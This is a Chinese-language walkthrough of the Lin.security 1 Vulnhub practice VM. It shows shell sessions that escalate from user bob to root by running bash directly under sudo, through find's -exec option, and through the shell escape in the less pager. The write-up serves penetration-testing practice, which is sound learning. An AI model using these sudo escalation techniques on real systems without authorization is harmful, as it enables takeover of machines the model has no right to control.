【Vulnhub通关】Lin.security


准备工作

靶机基本信息

靶机名称:Lin.security 1
操作系统:Linux
网络连接方式:桥接至物理网络
渗透测试目标:提权至root用户
靶机登录信息:bob/secret

下载地址:1. Lin.Security: 1 ~ VulnHub

2. vulnhub靶机_免费高速下载|百度网盘-分享无限制(推荐VMware版)

环境配置

从分享的网盘链接中下载靶机压缩包并解压后,点击VMware Workstation主页的File => Open按钮,在弹出的文件选择窗口中选中Lin.security.ovf文件打开后即可导入靶机。使用上面给出的登录凭据即可登录系统进行提权练习。

P.S. 本台靶机只有权限提升部分哦~


权限提升

本地信息收集

登录系统之后,首先上传LinPeas工具进行信息收集。

系统基本信息

部分CVE漏洞信息

容器软件信息

系统进程信息

计划任务信息

系统用户信息

特殊权限文件

Sudo命令

bash提权

因为使用sudo命令之后发现可以运行各种终端,因此我们可以直接使用sudo运行终端软件提权:

shell 复制代码
bob@linsecurity:~$ id
uid=1000(bob) gid=1004(bob) groups=1004(bob)
bob@linsecurity:~$ sudo /bin/bash
root@linsecurity:~# id
uid=0(root) gid=0(root) groups=0(root)
root@linsecurity:~# 

常用命令提权

除了各种终端软件,我们还可以使用诸如awkfind这种命令进行提权。下面介绍find命令提权:

shell 复制代码
bob@linsecurity:~$ id
uid=1000(bob) gid=1004(bob) groups=1004(bob)
bob@linsecurity:~$ sudo find . -exec /bin/bash \; -quit
root@linsecurity:~# id
uid=0(root) gid=0(root) groups=0(root)
root@linsecurity:~# 

find命令有一个可以用于执行任意系统命令的危险参数-exec 这里允许使用sudo运行find命令,因此该命令会以root权限执行/bin/bash

文本分页查看工具提权

一些可以分页查看文本的工具,诸如lessmoreman等,在其文本查看界面可以使用!符号执行系统命令,但前提是必须使用这些工具查看大文件(如/var/log/syslog),这样才能触发它们的分页查看功能。

shell 复制代码
bob@linsecurity:~$ id
uid=1000(bob) gid=1004(bob) groups=1004(bob)
bob@linsecurity:~$ sudo less /var/log/syslog
[sudo] password for bob: 
root@linsecurity:~# id
uid=0(root) gid=0(root) groups=0(root)
root@linsecurity:~# 

本次靶机渗透到此结束

相关推荐
深圳安锐科技有限公司2 小时前
深圳安锐科技发布国内首款4G 索力仪!让斜拉桥索力自动化监测更精准高效
运维·安全·自动化·自动化监测·人工监测·桥梁监测·索力监测
潘锦2 小时前
海量「免费」的 OPENAI KEY,你敢用吗?
安全·openai
冰橙子id3 小时前
linux系统安全
linux·安全·系统安全
上海锝秉工控4 小时前
防爆拉线位移传感器:工业安全的“隐形守护者”
大数据·人工智能·安全
你不知道我是谁?6 小时前
AI 应用于进攻性安全
人工智能·安全
薄荷椰果抹茶7 小时前
【网络安全基础】第一章---引言
安全·网络安全
zskj_zhyl8 小时前
智绅科技:以科技为翼,构建养老安全守护网
人工智能·科技·安全
zsq8 小时前
【网络与系统安全】域类实施模型DTE
网络·安全·系统安全
缘友一世10 小时前
网安系列【4】之OWASP与OWASP Top 10:Web安全入门指南
安全·web安全
HMS Core12 小时前
HarmonyOS免密认证方案 助力应用登录安全升级
安全·华为·harmonyos